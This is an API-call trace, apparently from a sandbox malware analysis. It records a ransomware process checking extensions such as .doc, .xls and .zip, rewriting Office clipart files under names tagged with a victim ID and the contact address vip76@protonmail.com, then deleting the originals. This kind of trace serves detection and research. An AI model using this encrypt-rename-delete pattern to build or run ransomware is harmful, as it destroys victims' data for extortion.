	[0190.729] lstrlenW (lpString=".doc") returned 4
	[0190.729] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.729] lstrlenW (lpString=".docx") returned 5
	[0190.729] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0190.729] lstrlenW (lpString=".pdf") returned 4
	[0190.729] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.729] lstrlenW (lpString=".xls") returned 4
	[0190.729] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.729] lstrlenW (lpString=".xlsx") returned 5
	[0190.730] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0190.730] lstrlenW (lpString=".ppt") returned 4
	[0190.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0190.730] lstrlenW (lpString=".zip") returned 4
	[0190.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.730] lstrlenW (lpString=".rar") returned 4
	[0190.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.730] lstrlenW (lpString=".bz2") returned 4
	[0190.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.730] lstrlenW (lpString=".7z") returned 3
	[0190.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0190.730] lstrlenW (lpString=".dbf") returned 4
	[0190.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0190.730] lstrlenW (lpString=".1cd") returned 4
	[0190.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0190.730] lstrlenW (lpString=".jpg") returned 4
	[0190.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.730] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.730] lstrlenW (lpString="J0105320.WMF") returned 12
	[0190.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0190.731] GetFileSizeEx (in: hFile=0x5ec, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=2020) returned 1
	[0190.731] CloseHandle (hObject=0x5ec) returned 1
	[0190.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 0x220
	[0190.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0190.732] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.732] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0190.733] GetLastError () returned 0x0
	[0190.733] ReadFile (in: hFile=0x5ec, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x7e4, lpOverlapped=0x0) returned 1
	[0190.735] WriteFile (in: hFile=0x580, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0190.736] ReadFile (in: hFile=0x5ec, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.736] WriteFile (in: hFile=0x580, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.736] SetEndOfFile (hFile=0x580) returned 1
	[0190.736] CloseHandle (hObject=0x580) returned 1
	[0190.736] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.736] SetEndOfFile (hFile=0x5ec) returned 1
	[0190.739] CloseHandle (hObject=0x5ec) returned 1
	[0190.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 1
	[0190.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0190.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0190.741] lstrlenW (lpString=".doc") returned 4
	[0190.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.741] lstrlenW (lpString=".docx") returned 5
	[0190.741] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0190.741] lstrlenW (lpString=".pdf") returned 4
	[0190.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.741] lstrlenW (lpString=".xls") returned 4
	[0190.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.741] lstrlenW (lpString=".xlsx") returned 5
	[0190.741] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0190.741] lstrlenW (lpString=".ppt") returned 4
	[0190.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0190.742] lstrlenW (lpString=".zip") returned 4
	[0190.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.742] lstrlenW (lpString=".rar") returned 4
	[0190.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.742] lstrlenW (lpString=".bz2") returned 4
	[0190.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.742] lstrlenW (lpString=".7z") returned 3
	[0190.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0190.742] lstrlenW (lpString=".dbf") returned 4
	[0190.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0190.742] lstrlenW (lpString=".1cd") returned 4
	[0190.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0190.742] lstrlenW (lpString=".jpg") returned 4
	[0190.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0190.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0190.742] lstrlenW (lpString=".doc") returned 4
	[0190.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.742] lstrlenW (lpString=".docx") returned 5
	[0190.742] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0190.742] lstrlenW (lpString=".pdf") returned 4
	[0190.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.743] lstrlenW (lpString=".xls") returned 4
	[0190.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.743] lstrlenW (lpString=".xlsx") returned 5
	[0190.743] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0190.743] lstrlenW (lpString=".ppt") returned 4
	[0190.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0190.743] lstrlenW (lpString=".zip") returned 4
	[0190.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.743] lstrlenW (lpString=".rar") returned 4
	[0190.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.743] lstrlenW (lpString=".bz2") returned 4
	[0190.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.743] lstrlenW (lpString=".7z") returned 3
	[0190.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0190.743] lstrlenW (lpString=".dbf") returned 4
	[0190.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0190.743] lstrlenW (lpString=".1cd") returned 4
	[0190.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0190.743] lstrlenW (lpString=".jpg") returned 4
	[0190.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.743] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.744] lstrlenW (lpString="J0105328.WMF") returned 12
	[0190.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0190.744] GetFileSizeEx (in: hFile=0x5ec, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=7992) returned 1
	[0190.744] CloseHandle (hObject=0x5ec) returned 1
	[0190.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 0x220
	[0190.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0190.745] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.745] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0190.746] GetLastError () returned 0x0
	[0190.746] ReadFile (in: hFile=0x5ec, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x1f38, lpOverlapped=0x0) returned 1
	[0190.748] WriteFile (in: hFile=0x580, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x1f40, lpOverlapped=0x0) returned 1
	[0190.749] ReadFile (in: hFile=0x5ec, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.749] WriteFile (in: hFile=0x580, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.750] SetEndOfFile (hFile=0x580) returned 1
	[0190.750] CloseHandle (hObject=0x580) returned 1
	[0190.750] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.750] SetEndOfFile (hFile=0x5ec) returned 1
	[0190.963] CloseHandle (hObject=0x5ec) returned 1
	[0190.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0191.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 1
	[0191.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0191.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0191.204] lstrlenW (lpString=".doc") returned 4
	[0191.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0191.204] lstrlenW (lpString=".docx") returned 5
	[0191.204] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0191.204] lstrlenW (lpString=".pdf") returned 4
	[0191.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0191.204] lstrlenW (lpString=".xls") returned 4
	[0191.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0191.204] lstrlenW (lpString=".xlsx") returned 5
	[0191.204] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0191.204] lstrlenW (lpString=".ppt") returned 4
	[0191.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0191.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0191.204] lstrlenW (lpString=".zip") returned 4
	[0191.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0191.204] lstrlenW (lpString=".rar") returned 4
	[0191.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0191.204] lstrlenW (lpString=".bz2") returned 4
	[0191.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0191.204] lstrlenW (lpString=".7z") returned 3
	[0191.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0191.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0191.205] lstrlenW (lpString=".dbf") returned 4
	[0191.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0191.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0191.205] lstrlenW (lpString=".1cd") returned 4
	[0191.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0191.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0191.205] lstrlenW (lpString=".jpg") returned 4
	[0191.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0191.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0191.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0191.205] lstrlenW (lpString=".doc") returned 4
	[0191.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0191.205] lstrlenW (lpString=".docx") returned 5
	[0191.205] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0191.205] lstrlenW (lpString=".pdf") returned 4
	[0191.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0191.205] lstrlenW (lpString=".xls") returned 4
	[0191.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0191.205] lstrlenW (lpString=".xlsx") returned 5
	[0191.205] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0191.205] lstrlenW (lpString=".ppt") returned 4
	[0191.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0191.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0191.205] lstrlenW (lpString=".zip") returned 4
	[0191.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0191.205] lstrlenW (lpString=".rar") returned 4
	[0191.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0191.205] lstrlenW (lpString=".bz2") returned 4
	[0191.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0191.206] lstrlenW (lpString=".7z") returned 3
	[0191.206] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0191.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0191.206] lstrlenW (lpString=".dbf") returned 4
	[0191.206] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0191.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0191.206] lstrlenW (lpString=".1cd") returned 4
	[0191.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0191.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0191.206] lstrlenW (lpString=".jpg") returned 4
	[0191.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0191.206] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0191.206] lstrlenW (lpString="J0105380.WMF") returned 12
	[0191.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0191.315] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=4624) returned 1
	[0191.315] CloseHandle (hObject=0x5c8) returned 1
	[0191.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 0x220
	[0192.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0192.403] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.404] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0192.405] GetLastError () returned 0x0
	[0192.405] ReadFile (in: hFile=0x478, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x1210, lpOverlapped=0x0) returned 1
	[0192.408] WriteFile (in: hFile=0x5e0, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x1220, lpOverlapped=0x0) returned 1
	[0192.410] ReadFile (in: hFile=0x478, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.410] WriteFile (in: hFile=0x5e0, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0192.410] SetEndOfFile (hFile=0x5e0) returned 1
	[0192.411] CloseHandle (hObject=0x5e0) returned 1
	[0192.411] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.411] SetEndOfFile (hFile=0x478) returned 1
	[0192.415] CloseHandle (hObject=0x478) returned 1
	[0192.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 1
	[0192.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0192.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0192.417] lstrlenW (lpString=".doc") returned 4
	[0192.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0192.417] lstrlenW (lpString=".docx") returned 5
	[0192.417] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0192.417] lstrlenW (lpString=".pdf") returned 4
	[0192.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0192.417] lstrlenW (lpString=".xls") returned 4
	[0192.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0192.417] lstrlenW (lpString=".xlsx") returned 5
	[0192.417] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0192.417] lstrlenW (lpString=".ppt") returned 4
	[0192.417] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0192.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0192.418] lstrlenW (lpString=".zip") returned 4
	[0192.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0192.418] lstrlenW (lpString=".rar") returned 4
	[0192.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0192.418] lstrlenW (lpString=".bz2") returned 4
	[0192.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0192.418] lstrlenW (lpString=".7z") returned 3
	[0192.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0192.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0192.418] lstrlenW (lpString=".dbf") returned 4
	[0192.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0192.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0192.418] lstrlenW (lpString=".1cd") returned 4
	[0192.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0192.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0192.418] lstrlenW (lpString=".jpg") returned 4
	[0192.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0192.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0192.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0192.419] lstrlenW (lpString=".doc") returned 4
	[0192.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0192.419] lstrlenW (lpString=".docx") returned 5
